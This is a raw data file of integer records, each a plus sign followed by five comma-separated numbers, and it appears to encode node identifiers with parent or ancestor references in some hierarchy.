+11777,11687,11777,0,0 +11778,11687,11778,0,0 +11779,11687,11779,0,0 +11780,11687,11780,0,0 +11781,11687,11781,0,0 +11782,11687,11782,0,0 +11783,11687,11783,0,0 +11784,11687,11784,0,0 +11785,11687,11785,0,0 +11786,11687,11786,0,0 +11787,11688,11787,0,0 +11788,11688,11788,0,0 +11789,11688,11789,0,0 +11790,11688,11790,0,0 +11791,11688,11791,0,0 +11792,11688,11792,0,0 +11793,11688,11793,0,0 +11794,11688,11794,0,0 +11795,11688,11795,0,0 +11796,11689,11796,0,0 +11797,11689,11797,0,0 +11798,11689,11798,0,0 +11799,11689,11799,0,0 +11800,11689,11800,0,0 +13179,13176,13179,0,0 +13181,13176,13181,0,0 +19577,13177,19577,0,0 +19592,13177,19592,0,0 +19672,13177,19672,0,0 +19704,13177,19704,0,0 +19745,13177,19745,0,0 +19781,13177,19781,0,0 +19818,13177,19818,0,0 +19839,13177,19839,0,0 +19841,13177,19841,0,0 +19938,13177,19938,0,0 +19979,13177,19979,0,0 +20002,13177,20002,0,0 +20017,13177,20017,0,0 +13777,13178,13777,0,0 +13778,13178,13778,0,0 +13779,13178,13779,0,0 +14698,14697,14698,0,0 +14699,14697,14699,0,0 +14700,14697,14700,0,0 +14701,14697,14701,0,0 +14702,14697,14702,0,0 +14703,14697,14703,0,0 +14704,14697,14704,0,0 +14705,14697,14705,0,0 +14706,14697,14706,0,0 +20135,14697,20135,0,0 +14742,14740,14742,0,0 +14743,14740,14743,0,0 +14744,14740,14744,0,0 +14745,14740,14745,0,0 +14746,14740,14746,0,0 +14747,14740,14747,0,0 +14748,14740,14748,0,0 +14749,14740,14749,0,0 +14750,14740,14750,0,0 +14751,14740,14751,0,0 +14752,14740,14752,0,0 +14753,14740,14753,0,0 +14754,14740,14754,0,0 +14755,14740,14755,0,0 +14756,14740,14756,0,0 +14757,14740,14757,0,0 +14758,14740,14758,0,0 +14934,14933,14934,0,0 +14935,14933,14935,0,0 +14936,14933,14936,0,0 +14937,14933,14937,0,0 +14938,14933,14938,0,0 +14939,14933,14939,0,0 +14940,14933,14940,0,0 +14941,14933,14941,0,0 +14942,14933,14942,0,0 +14943,14933,14943,0,0 +14944,14933,14944,0,0 +14945,14933,14945,0,0 +14946,14933,14946,0,0 +14947,14933,14947,0,0 +14948,14933,14948,0,0 +14967,14966,14967,0,0 +14968,14966,14968,0,0 +14969,14966,14969,0,0 +14970,14966,14970,0,0 +14971,14966,14971,0,0 +14972,14966,14972,0,0 +14973,14966,14973,0,0 +14974,14966,14974,0,0 +14975,14966,14975,0,0 +14976,14966,14976,0,0 +14977,14966,14977,0,0 +14978,14966,14978,0,0 +14979,14966,14979,0,0 +14980,14966,14980,0,0 +14981,14966,14981,0,0 +14982,14966,14982,0,0 +14983,14966,14983,0,0 +14984,14966,14984,0,0 +14985,14966,14985,0,0 +14986,14966,14986,0,0 +14987,14966,14987,0,0 +14988,14966,14988,0,0 +14989,14966,14989,0,0 +14990,14966,14990,0,0 +14991,14966,14991,0,0 +14992,14966,14992,0,0 +14993,14966,14993,0,0 +14994,14966,14994,0,0 +14995,14966,14995,0,0 +14996,14966,14996,0,0 +14997,14966,14997,0,0 +14998,14966,14998,0,0 +14999,14966,14999,0,0 +15084,15083,15084,0,0 +15085,15083,15085,0,0 +15086,15083,15086,0,0 +15087,15083,15087,0,0 +15088,15083,15088,0,0 +15089,15083,15089,0,0 +15090,15083,15090,0,0 +15091,15083,15091,0,0 +15092,15083,15092,0,0 +15093,15083,15093,0,0 +15094,15083,15094,0,0 +15095,15083,15095,0,0 +15096,15083,15096,0,0 +15097,15083,15097,0,0 +15098,15083,15098,0,0 +15099,15083,15099,0,0 +15100,15083,15100,0,0 +15101,15083,15101,0,0 +15102,15083,15102,0,0 +15103,15083,15103,0,0 +15104,15083,15104,0,0 +15105,15083,15105,0,0 +15106,15083,15106,0,0 +15107,15083,15107,0,0 +15108,15083,15108,0,0 +15109,15083,15109,0,0 +15110,15083,15110,0,0 +15111,15083,15111,0,0 +15112,15083,15112,0,0 +15113,15083,15113,0,0 +15114,15083,15114,0,0 +15115,15083,15115,0,0 +15116,15083,15116,0,0 +20089,15083,20089,0,0 +15357,15356,15357,0,0 +15358,15356,15358,0,0 +15359,15356,15359,0,0 +15360,15356,15360,0,0 +15361,15356,15361,0,0 +15362,15356,15362,0,0 +15363,15356,15363,0,0 +15364,15356,15364,0,0 +15365,15356,15365,0,0 +15366,15356,15366,0,0 +15367,15356,15367,0,0 +15368,15356,15368,0,0 +15369,15356,15369,0,0 +15370,15356,15370,0,0 +15371,15356,15371,0,0 +15372,15356,15372,0,0 +15544,15543,15544,0,0 +15553,15543,15553,0,0 +15572,15543,15572,0,0 +15592,15543,15592,0,0 +15611,15543,15611,0,0 +15618,15543,15618,0,0 +15627,15543,15627,0,0 +15650,15543,15650,0,0 +15659,15543,15659,0,0 +15686,15543,15686,0,0 +15705,15543,15705,0,0 +15725,15543,15725,0,0 +15753,15543,15753,0,0 +15767,15543,15767,0,0 +15858,15543,15858,0,0 +15868,15543,15868,0,0 +15890,15543,15890,0,0 +15900,15543,15900,0,0 +15902,15543,15902,0,0 +15903,15543,15903,0,0 +15905,15543,15905,0,0 +15921,15543,15921,0,0 +15937,15543,15937,0,0 +15939,15543,15939,0,0 +15969,15543,15969,0,0 +15980,15543,15980,0,0 +15990,15543,15990,0,0 +16011,15543,16011,0,0 +16028,15543,16028,0,0 +16048,15543,16048,0,0 +16062,15543,16062,0,0 +16072,15543,16072,0,0 +16079,15543,16079,0,0 +16095,15543,16095,0,0 +16107,15543,16107,0,0 +16139,15543,16139,0,0 +16152,15543,16152,0,0 +20137,15543,20137,0,0 +16156,16155,16156,0,0 +16157,16155,16157,0,0 +16158,16155,16158,0,0 +16193,16192,16193,0,0 +16194,16192,16194,0,0 +16195,16192,16195,0,0 +16196,16192,16196,0,0 +16210,16209,16210,0,0 +16220,16209,16220,0,0 +16222,16209,16222,0,0 +16229,16209,16229,0,0 +16238,16237,16238,0,0 +16251,16237,16251,0,0 +16258,16237,16258,0,0 +16261,16237,16261,0,0 +18347,16237,18347,0,0 +18768,16237,18768,0,0 +18783,16237,18783,0,0 +16289,16288,16289,0,0 +16313,16288,16313,0,0 +16330,16288,16330,0,0 +16336,16288,16336,0,0 +16347,16288,16347,0,0 +16352,16288,16352,0,0 +16355,16288,16355,0,0 +16357,16288,16357,0,0 +16359,16288,16359,0,0 +16368,16288,16368,0,0 +16370,16288,16370,0,0 +16399,16288,16399,0,0 +16429,16288,16429,0,0 +16441,16288,16441,0,0 +16448,16288,16448,0,0 +16450,16288,16450,0,0 +16452,16288,16452,0,0 +16454,16288,16454,0,0 +16464,16288,16464,0,0 +16475,16288,16475,0,0 +16479,16288,16479,0,0 +16481,16288,16481,0,0 +16519,16288,16519,0,0 +16552,16548,16552,0,0 +16556,16548,16556,0,0 +16580,16548,16580,0,0 +16611,16548,16611,0,0 +16632,16548,16632,0,0 +16651,16548,16651,0,0 +16663,16548,16663,0,0 +16677,16676,16677,0,0 +16725,16676,16725,0,0 +16765,16676,16765,0,0 +16795,16794,16795,0,0 +16812,16794,16812,0,0 +16867,16794,16867,0,0 +16879,16794,16879,0,0 +20229,16794,20229,0,0 +16902,16901,16902,0,0 +16942,16901,16942,0,0 +18055,16901,18055,0,0 +16990,16989,16990,0,0 +16993,16989,16993,0,0 +16994,16989,16994,0,0 +16995,16989,16995,0,0 +16996,16989,16996,0,0 +16997,16989,16997,0,0 +16998,16989,16998,0,0 +16999,16989,16999,0,0 +17000,16989,17000,0,0 +17001,16989,17001,0,0 +17002,16989,17002,0,0 +17003,16989,17003,0,0 +17004,16989,17004,0,0 +17005,16989,17005,0,0 +17006,16989,17006,0,0 +17007,16989,17007,0,0 +17008,16989,17008,0,0 +17009,16989,17009,0,0 +17010,16989,17010,0,0 +17011,16989,17011,0,0 +17012,16989,17012,0,0 +17135,17134,17135,0,0 +17141,17134,17141,0,0 +17160,17134,17160,0,0 +19507,17134,19507,0,0 +20071,17134,20071,0,0 +17250,17249,17250,0,0 +17251,17249,17251,0,0 +17252,17249,17252,0,0 +17253,17249,17253,0,0 +17254,17249,17254,0,0 +17286,17285,17286,0,0 +17287,17285,17287,0,0 +17288,17285,17288,0,0 +17289,17285,17289,0,0 +17290,17285,17290,0,0 +17291,17285,17291,0,0 +17292,17285,17292,0,0 +17293,17285,17293,0,0 +17294,17285,17294,0,0 +17295,17285,17295,0,0 +17296,17285,17296,0,0 +17297,17285,17297,0,0 +17298,17285,17298,0,0 +20316,17285,20316,0,0 +17413,17412,17413,0,0 +17414,17412,17414,0,0 +17415,17412,17415,0,0 +17416,17412,17416,0,0 +17417,17412,17417,0,0 +17418,17412,17418,0,0 +17419,17412,17419,0,0 +17420,17412,17420,0,0 +17421,17412,17421,0,0 +17422,17412,17422,0,0 +17423,17412,17423,0,0 +17424,17412,17424,0,0 +17425,17412,17425,0,0 +17426,17412,17426,0,0 +17427,17412,17427,0,0 +17456,17455,17456,0,0 +17457,17455,17457,0,0 +17458,17455,17458,0,0 +17459,17455,17459,0,0 +17460,17455,17460,0,0 +17461,17455,17461,0,0 +17462,17455,17462,0,0 +17463,17455,17463,0,0 +17464,17455,17464,0,0 +17465,17455,17465,0,0 +17466,17455,17466,0,0 +20098,17455,20098,0,0 +17672,17671,17672,0,0 +17673,17671,17673,0,0 +17674,17671,17674,0,0 +17675,17671,17675,0,0 +17676,17671,17676,0,0 +17677,17671,17677,0,0 +17678,17671,17678,0,0 +17679,17671,17679,0,0 +17680,17671,17680,0,0 +17681,17671,17681,0,0 +17682,17671,17682,0,0 +17683,17671,17683,0,0 +17684,17671,17684,0,0 +17686,17671,17686,0,0 +17687,17671,17687,0,0 +17688,17671,17688,0,0 +17689,17671,17689,0,0 +17804,17803,17804,0,0 +17805,17803,17805,0,0 +17806,17803,17806,0,0 +17807,17803,17807,0,0 +17808,17803,17808,0,0 +17809,17803,17809,0,0 +17810,17803,17810,0,0 +17811,17803,17811,0,0 +18051,17803,18051,0,0 +18089,18088,18089,0,0 +18090,18088,18090,0,0 +18091,18088,18091,0,0 +18092,18088,18092,0,0 +18093,18088,18093,0,0 +18094,18088,18094,0,0 +18095,18088,18095,0,0 +18096,18088,18096,0,0 +18097,18088,18097,0,0 +18271,18270,18271,0,0 +18284,18270,18284,0,0 +18292,18270,18292,0,0 +18299,18270,18299,0,0 +18305,18270,18305,0,0 +18311,18270,18311,0,0 +18318,18270,18318,0,0 +18323,18270,18323,0,0 +18328,18270,18328,0,0 +18335,18270,18335,0,0 +18342,18270,18342,0,0 +20210,18270,20210,0,0 +20321,18270,20321,0,0 +18350,18349,18350,0,0 +18354,18349,18354,0,0 +18363,18349,18363,0,0 +18370,18349,18370,0,0 +18378,18349,18378,0,0 +18388,18349,18388,0,0 +18394,18349,18394,0,0 +18396,18349,18396,0,0 +18401,18349,18401,0,0 +18409,18349,18409,0,0 +18411,18349,18411,0,0 +18417,18349,18417,0,0 +18421,18349,18421,0,0 +18436,18349,18436,0,0 +18449,18349,18449,0,0 +18454,18349,18454,0,0 +18461,18349,18461,0,0 +18471,18349,18471,0,0 +18477,18349,18477,0,0 +18479,18349,18479,0,0 +18812,18349,18812,0,0 +18483,18482,18483,0,0 +18484,18482,18484,0,0 +18485,18482,18485,0,0 +18486,18482,18486,0,0 +18487,18482,18487,0,0 +18488,18482,18488,0,0 +18489,18482,18489,0,0 +18497,18482,18497,0,0 +18498,18482,18498,0,0 +18499,18482,18499,0,0 +18500,18482,18500,0,0 +18501,18482,18501,0,0 +18502,18482,18502,0,0 +18509,18482,18509,0,0 +18511,18482,18511,0,0 +18534,18482,18534,0,0 +18536,18482,18536,0,0 +18553,18482,18553,0,0 +18555,18482,18555,0,0 +18557,18482,18557,0,0 +18559,18482,18559,0,0 +18561,18482,18561,0,0 +18564,18482,18564,0,0 +18566,18482,18566,0,0 +18568,18482,18568,0,0 +18570,18482,18570,0,0 +20473,18482,20473,0,0 +18575,18574,18575,0,0 +18581,18574,18581,0,0 +18590,18574,18590,0,0 +18595,18574,18595,0,0 +18602,18601,18602,0,0 +18607,18601,18607,0,0 +18615,18601,18615,0,0 +18622,18601,18622,0,0 +18627,18601,18627,0,0 +18631,18601,18631,0,0 +18633,18601,18633,0,0 +18635,18601,18635,0,0 +18638,18637,18638,0,0 +18643,18637,18643,0,0 +18649,18637,18649,0,0 +18651,18637,18651,0,0 +18653,18637,18653,0,0 +18662,18637,18662,0,0 +18664,18637,18664,0,0 +18666,18637,18666,0,0 +18667,18637,18667,0,0 +18668,18637,18668,0,0 +18672,18637,18672,0,0 +18707,18637,18707,0,0 +18708,18637,18708,0,0 +18711,18637,18711,0,0 +18728,18637,18728,0,0 +18734,18637,18734,0,0 +18735,18637,18735,0,0 +18738,18637,18738,0,0 +18745,18637,18745,0,0 +18750,18637,18750,0,0 +18815,18814,18815,0,0 +18857,18814,18857,0,0 +19299,19298,19299,0,0 +19300,19298,19300,0,0 +19308,19298,19308,0,0 +19310,19298,19310,0,0 +20079,20078,20079,0,0 +20081,20078,20081,0,0 +20341,20340,20341,0,0 +20343,20340,20343,0,0 +20345,20340,20345,0,0 +20347,20340,20347,0,0 +423,239,245,423,0 +435,239,246,435,0 +441,239,248,441,0 +3849,239,3848,3849,0 +5215,239,3848,5215,0 +7312,239,3848,7312,0 +5209,239,5208,5209,0 +7313,239,7281,7313,0 +7314,239,7282,7314,0 +7315,239,7283,7315,0 +7316,239,7284,7316,0 +7317,239,7285,7317,0 +7318,239,7286,7318,0 +7319,239,7287,7319,0 +7298,239,7289,7298,0 +7300,239,7290,7300,0 +7320,239,7291,7320,0 +7321,239,7292,7321,0 +7305,239,7294,7305,0 +7307,239,7295,7307,0 +7309,239,7296,7309,0 +7310,239,7296,7310,0 +7311,239,7296,7311,0 +7322,239,7297,7322,0 +2627,2603,2604,2627,0 +2628,2603,2604,2628,0 +4666,2603,2604,4666,0 +4667,2603,2604,4667,0 +4668,2603,2604,4668,0 +4669,2603,2604,4669,0 +4670,2603,2604,4670,0 +4671,2603,2604,4671,0 +4672,2603,2604,4672,0 +4673,2603,2604,4673,0 +4674,2603,2604,4674,0 +4675,2603,2604,4675,0 +4676,2603,2604,4676,0 +4677,2603,2604,4677,0 +4678,2603,2604,4678,0 +4679,2603,2604,4679,0 +4680,2603,2604,4680,0 +4681,2603,2604,4681,0 +4682,2603,2604,4682,0 +4683,2603,2604,4683,0 +4684,2603,2604,4684,0 +4688,2603,2604,4688,0 +4689,2603,2604,4689,0 +4795,2603,2605,4795,0 +4796,2603,2605,4796,0 +4797,2603,2605,4797,0 +4798,2603,2605,4798,0 +4799,2603,2605,4799,0 +4800,2603,2605,4800,0 +4801,2603,2605,4801,0 +4802,2603,2605,4802,0 +4803,2603,2605,4803,0 +4804,2603,2605,4804,0 +4805,2603,2605,4805,0 +4806,2603,2605,4806,0 +4807,2603,2605,4807,0 +4808,2603,2605,4808,0 +4809,2603,2605,4809,0 +4810,2603,2605,4810,0 +4811,2603,2605,4811,0 +4812,2603,2605,4812,0 +4813,2603,2605,4813,0 +4834,2603,2606,4834,0 +4840,2603,2607,4840,0 +4841,2603,2607,4841,0 +4842,2603,2607,4842,0 +4843,2603,2607,4843,0 +4844,2603,2607,4844,0 +4845,2603,2607,4845,0 +4846,2603,2607,4846,0 +18998,2603,2607,18998,0 +4815,2603,2608,4815,0 +4816,2603,2608,4816,0 +4817,2603,2608,4817,0 +4818,2603,2608,4818,0 +4819,2603,2608,4819,0 +4820,2603,2608,4820,0 +4821,2603,2608,4821,0 +4822,2603,2608,4822,0 +4823,2603,2608,4823,0 +4824,2603,2608,4824,0 +4825,2603,2608,4825,0 +4826,2603,2608,4826,0 +4827,2603,2608,4827,0 +20190,2603,2608,20190,0 +20191,2603,2608,20191,0 +20192,2603,2608,20192,0 +20193,2603,2608,20193,0 +4839,2603,2609,4839,0 +5494,2603,2609,5494,0 +5495,2603,2609,5495,0 +5496,2603,2609,5496,0 +5497,2603,2609,5497,0 +5498,2603,2609,5498,0 +5499,2603,2609,5499,0 +5500,2603,2609,5500,0 +5501,2603,2609,5501,0 +4755,2603,2610,4755,0 +4756,2603,2610,4756,0 +4757,2603,2610,4757,0 +4758,2603,2610,4758,0 +4759,2603,2610,4759,0 +4760,2603,2610,4760,0 +4761,2603,2610,4761,0 +4762,2603,2610,4762,0 +4763,2603,2610,4763,0 +4764,2603,2610,4764,0 +4765,2603,2610,4765,0 +4766,2603,2610,4766,0 +4767,2603,2610,4767,0 +4768,2603,2610,4768,0 +4769,2603,2610,4769,0 +4770,2603,2610,4770,0 +4771,2603,2610,4771,0 +4772,2603,2610,4772,0 +4773,2603,2610,4773,0 +4774,2603,2610,4774,0 +4775,2603,2610,4775,0 +4776,2603,2610,4776,0 +4777,2603,2610,4777,0 +4778,2603,2610,4778,0 +4779,2603,2610,4779,0 +4828,2603,2611,4828,0 +4829,2603,2611,4829,0 +4830,2603,2611,4830,0 +4831,2603,2611,4831,0 +4832,2603,2611,4832,0 +18993,2603,2611,18993,0 +18994,2603,2611,18994,0 +20194,2603,2611,20194,0 +4788,2603,2612,4788,0 +4789,2603,2612,4789,0 +4790,2603,2612,4790,0 +4791,2603,2612,4791,0 +4792,2603,2612,4792,0 +4793,2603,2612,4793,0 +4794,2603,2612,4794,0 +4833,2603,2613,4833,0 +4735,2603,2614,4735,0 +4736,2603,2614,4736,0 +4737,2603,2614,4737,0 +4738,2603,2614,4738,0 +4739,2603,2614,4739,0 +4740,2603,2614,4740,0 +4741,2603,2614,4741,0 +4742,2603,2614,4742,0 +4743,2603,2614,4743,0 +4744,2603,2614,4744,0 +4745,2603,2614,4745,0 +4746,2603,2614,4746,0 +4747,2603,2614,4747,0 +4748,2603,2614,4748,0 +4749,2603,2614,4749,0 +4750,2603,2614,4750,0 +4751,2603,2614,4751,0 +4752,2603,2614,4752,0 +4753,2603,2614,4753,0 +4754,2603,2614,4754,0 +4780,2603,2616,4780,0 +4781,2603,2616,4781,0 +4709,2603,2619,4709,0 +4710,2603,2619,4710,0 +4711,2603,2619,4711,0 +4712,2603,2619,4712,0 +4713,2603,2619,4713,0 +4714,2603,2619,4714,0 +4715,2603,2619,4715,0 +4716,2603,2619,4716,0 +4717,2603,2619,4717,0 +4718,2603,2620,4718,0 +4719,2603,2620,4719,0 +4720,2603,2620,4720,0 +4721,2603,2620,4721,0 +4722,2603,2620,4722,0 +4723,2603,2620,4723,0 +4724,2603,2620,4724,0 +4731,2603,2621,4731,0 +4732,2603,2621,4732,0 +4733,2603,2621,4733,0 +5504,2603,2621,5504,0 +5505,2603,2621,5505,0 +5506,2603,2621,5506,0 +5507,2603,2621,5507,0 +5508,2603,2621,5508,0 +4730,2603,2622,4730,0 +4725,2603,2623,4725,0 +4726,2603,2623,4726,0 +4727,2603,2623,4727,0 +4728,2603,2623,4728,0 +4729,2603,2623,4729,0 +4734,2603,2624,4734,0 +4690,2603,2626,4690,0 +4691,2603,2626,4691,0 +4692,2603,2626,4692,0 +4693,2603,2626,4693,0 +4694,2603,2626,4694,0 +4695,2603,2626,4695,0 +4696,2603,2626,4696,0 +4697,2603,2626,4697,0 +4698,2603,2626,4698,0 +4700,2603,2626,4700,0 +4836,2603,4835,4836,0 +4838,2603,4837,4838,0 +4848,2603,4847,4848,0 +4849,2603,4847,4849,0 +4850,2603,4847,4850,0 +4851,2603,4847,4851,0 +18996,2603,18995,18996,0 +18997,2603,18995,18997,0 +20189,2603,18995,20189,0 +19000,2603,18999,19000,0 +19001,2603,18999,19001,0 +19002,2603,18999,19002,0 +19003,2603,18999,19003,0 +19004,2603,18999,19004,0 +19005,2603,18999,19005,0 +19006,2603,18999,19006,0 +19007,2603,18999,19007,0 +19008,2603,18999,19008,0 +19009,2603,18999,19009,0 +19010,2603,18999,19010,0 +19011,2603,18999,19011,0 +19012,2603,18999,19012,0 +19013,2603,18999,19013,0 +19014,2603,18999,19014,0 +19015,2603,18999,19015,0 +19016,2603,18999,19016,0 +20495,2603,20494,20495,0 +20496,2603,20494,20496,0 +20497,2603,20494,20497,0 +20498,2603,20494,20498,0 +20499,2603,20494,20499,0 +20500,2603,20494,20500,0 +20501,2603,20494,20501,0 +20502,2603,20494,20502,0 +20503,2603,20494,20503,0 +20504,2603,20494,20504,0 +2673,2629,2630,2673,0 +2674,2629,2630,2674,0 +2675,2629,2630,2675,0 +2676,2629,2630,2676,0 +2677,2629,2630,2677,0 +2678,2629,2630,2678,0 +2679,2629,2630,2679,0 +2680,2629,2630,2680,0 +2681,2629,2630,2681,0 +2682,2629,2630,2682,0 +2683,2629,2630,2683,0 +2684,2629,2630,2684,0 +2685,2629,2630,2685,0 +2686,2629,2630,2686,0 +2687,2629,2630,2687,0 +20281,2629,2630,20281,0 +2688,2629,2631,2688,0 +2689,2629,2631,2689,0 +2690,2629,2631,2690,0 +2691,2629,2631,2691,0 +2692,2629,2631,2692,0 +2693,2629,2631,2693,0 +2694,2629,2631,2694,0 +2695,2629,2632,2695,0 +2696,2629,2632,2696,0 +2697,2629,2632,2697,0 +2698,2629,2632,2698,0 +2699,2629,2632,2699,0 +2700,2629,2632,2700,0 +2701,2629,2632,2701,0 +2702,2629,2632,2702,0 +2703,2629,2632,2703,0 +2704,2629,2634,2704,0 +2705,2629,2634,2705,0 +2706,2629,2634,2706,0 +2707,2629,2634,2707,0 +2708,2629,2634,2708,0 +2709,2629,2635,2709,0 +2710,2629,2635,2710,0 +2711,2629,2635,2711,0 +2712,2629,2635,2712,0 +2713,2629,2635,2713,0 +2714,2629,2635,2714,0 +2715,2629,2635,2715,0 +2716,2629,2635,2716,0 +2717,2629,2635,2717,0 +2718,2629,2635,2718,0 +2719,2629,2635,2719,0 +2720,2629,2635,2720,0 +2721,2629,2635,2721,0 +2722,2629,2635,2722,0 +2723,2629,2635,2723,0 +2724,2629,2635,2724,0 +2725,2629,2635,2725,0 +2726,2629,2635,2726,0 +2727,2629,2635,2727,0 +2728,2629,2635,2728,0 +2729,2629,2635,2729,0 +2730,2629,2635,2730,0 +2731,2629,2635,2731,0 +2732,2629,2635,2732,0 +2733,2629,2635,2733,0 +2734,2629,2635,2734,0 +18984,2629,2635,18984,0 +20101,2629,2635,20101,0 +20102,2629,2635,20102,0 +2735,2629,2636,2735,0 +2736,2629,2636,2736,0 +2737,2629,2636,2737,0 +2738,2629,2636,2738,0 +2739,2629,2636,2739,0 +2740,2629,2636,2740,0 +2741,2629,2663,2741,0 +2742,2629,2664,2742,0 +2743,2629,2664,2743,0 +2744,2629,2664,2744,0 +2745,2629,2664,2745,0 +18985,2629,2664,18985,0 +2746,2629,2665,2746,0 +2747,2629,2665,2747,0 +2748,2629,2665,2748,0 +2749,2629,2665,2749,0 +2750,2629,2665,2750,0 +2751,2629,2665,2751,0 +2752,2629,2665,2752,0 +2753,2629,2665,2753,0 +2754,2629,2665,2754,0 +2755,2629,2665,2755,0 +2756,2629,2665,2756,0 +2757,2629,2665,2757,0 +2758,2629,2665,2758,0 +2759,2629,2665,2759,0 +2760,2629,2665,2760,0 +2761,2629,2665,2761,0 +2762,2629,2665,2762,0 +2763,2629,2667,2763,0 +2764,2629,2667,2764,0 +2765,2629,2667,2765,0 +2766,2629,2667,2766,0 +2768,2629,2667,2768,0 +2769,2629,2667,2769,0 +2770,2629,2667,2770,0 +2771,2629,2667,2771,0 +2772,2629,2667,2772,0 +2773,2629,2667,2773,0 +2774,2629,2667,2774,0 +2775,2629,2667,2775,0 +2776,2629,2667,2776,0 +2777,2629,2667,2777,0 +2778,2629,2667,2778,0 +2779,2629,2667,2779,0 +18986,2629,2667,18986,0 +2780,2629,2668,2780,0 +2781,2629,2668,2781,0 +2782,2629,2668,2782,0 +2783,2629,2668,2783,0 +2784,2629,2668,2784,0 +2785,2629,2668,2785,0 +2786,2629,2668,2786,0 +2787,2629,2668,2787,0 +2788,2629,2668,2788,0 +2789,2629,2668,2789,0 +2790,2629,2668,2790,0 +2791,2629,2668,2791,0 +2792,2629,2668,2792,0 +2793,2629,2668,2793,0 +2794,2629,2668,2794,0 +2795,2629,2668,2795,0 +2796,2629,2668,2796,0 +2797,2629,2668,2797,0 +2798,2629,2668,2798,0 +2799,2629,2668,2799,0 +2800,2629,2668,2800,0 +2801,2629,2668,2801,0 +2802,2629,2668,2802,0 +18989,2629,2669,18989,0 +18990,2629,2669,18990,0 +2804,2629,2670,2804,0 +2805,2629,2670,2805,0 +2806,2629,2670,2806,0 +2807,2629,2670,2807,0 +2808,2629,2670,2808,0 +2809,2629,2670,2809,0 +2810,2629,2670,2810,0 +2811,2629,2670,2811,0 +2812,2629,2670,2812,0 +2813,2629,2670,2813,0 +2814,2629,2671,2814,0 +2815,2629,2671,2815,0 +2816,2629,2671,2816,0 +2817,2629,2671,2817,0 +2818,2629,2671,2818,0 +2819,2629,2671,2819,0 +2820,2629,2671,2820,0 +2821,2629,2671,2821,0 +2822,2629,2671,2822,0 +2823,2629,2671,2823,0 +2824,2629,2671,2824,0 +2825,2629,2671,2825,0 +2826,2629,2671,2826,0 +2827,2629,2671,2827,0 +2828,2629,2671,2828,0 +2829,2629,2671,2829,0 +2831,2629,2671,2831,0 +2832,2629,2671,2832,0 +2833,2629,2671,2833,0 +2834,2629,2671,2834,0 +2835,2629,2671,2835,0 +2836,2629,2672,2836,0 +2837,2629,2672,2837,0 +2838,2629,2672,2838,0 +2839,2629,2672,2839,0 +2840,2629,2672,2840,0 +2841,2629,2672,2841,0 +2842,2629,2672,2842,0 +2843,2629,2672,2843,0 +2844,2629,2672,2844,0 +5674,2629,5673,5674,0 +5675,2629,5673,5675,0 +5676,2629,5673,5676,0 +18988,2629,18987,18988,0 +18992,2629,18991,18992,0 +2954,2933,2934,2954,0 +2955,2933,2935,2955,0 +2956,2933,2935,2956,0 +2957,2933,2935,2957,0 +2958,2933,2935,2958,0 +2959,2933,2935,2959,0 +2960,2933,2935,2960,0 +2961,2933,2935,2961,0 +2962,2933,2935,2962,0 +2963,2933,2935,2963,0 +2964,2933,2935,2964,0 +2965,2933,2935,2965,0 +2966,2933,2935,2966,0 +2967,2933,2935,2967,0 +2968,2933,2935,2968,0 +5478,2933,2935,5478,0 +2969,2933,2936,2969,0 +2970,2933,2936,2970,0 +2971,2933,2936,2971,0 +5479,2933,2937,5479,0 +19174,2933,2937,19174,0 +19175,2933,2937,19175,0 +19176,2933,2937,19176,0 +19177,2933,2937,19177,0 +19178,2933,2937,19178,0 +19179,2933,2937,19179,0 +19180,2933,2937,19180,0 +19181,2933,2937,19181,0 +19182,2933,2937,19182,0 +19183,2933,2937,19183,0 +2982,2933,2938,2982,0 +2983,2933,2938,2983,0 +2984,2933,2938,2984,0 +2985,2933,2938,2985,0 +2986,2933,2938,2986,0 +2987,2933,2938,2987,0 +2988,2933,2938,2988,0 +2989,2933,2938,2989,0 +2990,2933,2939,2990,0 +2991,2933,2939,2991,0 +2992,2933,2940,2992,0 +2993,2933,2940,2993,0 +2994,2933,2940,2994,0 +2995,2933,2940,2995,0 +2996,2933,2940,2996,0 +2998,2933,2940,2998,0 +19249,2933,2940,19249,0 +2999,2933,2941,2999,0 +3000,2933,2941,3000,0 +3001,2933,2941,3001,0 +3002,2933,2941,3002,0 +3003,2933,2941,3003,0 +3004,2933,2941,3004,0 +3005,2933,2941,3005,0 +3006,2933,2941,3006,0 +3007,2933,2941,3007,0 +3008,2933,2941,3008,0 +3009,2933,2941,3009,0 +3010,2933,2941,3010,0 +3011,2933,2941,3011,0 +3012,2933,2941,3012,0 +3013,2933,2941,3013,0 +3014,2933,2941,3014,0 +3015,2933,2941,3015,0 +3016,2933,2941,3016,0 +3017,2933,2941,3017,0 +3018,2933,2941,3018,0 +3019,2933,2941,3019,0 +3023,2933,2942,3023,0 +19253,2933,2942,19253,0 +19258,2933,2942,19258,0 +19261,2933,2942,19261,0 +3024,2933,2943,3024,0 +3025,2933,2943,3025,0 +3026,2933,2943,3026,0 +3027,2933,2943,3027,0 +3028,2933,2943,3028,0 +3029,2933,2943,3029,0 +3030,2933,2943,3030,0 +3031,2933,2943,3031,0 +3032,2933,2943,3032,0 +3033,2933,2943,3033,0 +4656,2933,2943,4656,0 +5723,2933,2943,5723,0 +3035,2933,2945,3035,0 +3036,2933,2945,3036,0 +3037,2933,2945,3037,0 +3038,2933,2945,3038,0 +3039,2933,2945,3039,0 +3040,2933,2945,3040,0 +3041,2933,2945,3041,0 +3042,2933,2945,3042,0 +3043,2933,2945,3043,0 +3044,2933,2945,3044,0 +3045,2933,2946,3045,0 +3046,2933,2946,3046,0 +3047,2933,2946,3047,0 +3048,2933,2946,3048,0 +3049,2933,2946,3049,0 +3050,2933,2946,3050,0 +3051,2933,2946,3051,0 +3052,2933,2946,3052,0 +3053,2933,2946,3053,0 +3055,2933,2946,3055,0 +3056,2933,2946,3056,0 +3057,2933,2946,3057,0 +5487,2933,2946,5487,0 +5489,2933,2946,5489,0 +18128,2933,2946,18128,0 +18129,2933,2946,18129,0 +19268,2933,2946,19268,0 +3058,2933,2947,3058,0 +3059,2933,2947,3059,0 +3060,2933,2947,3060,0 +3061,2933,2947,3061,0 +3062,2933,2947,3062,0 +3063,2933,2947,3063,0 +3064,2933,2947,3064,0 +18788,2933,2948,18788,0 +3065,2933,2949,3065,0 +3066,2933,2949,3066,0 +3067,2933,2949,3067,0 +3068,2933,2949,3068,0 +3069,2933,2950,3069,0 +3070,2933,2951,3070,0 +3071,2933,2951,3071,0 +3072,2933,2951,3072,0 +3073,2933,2951,3073,0 +3074,2933,2951,3074,0 +3075,2933,2951,3075,0 +3076,2933,2951,3076,0 +3077,2933,2951,3077,0 +3078,2933,2951,3078,0 +3079,2933,2951,3079,0 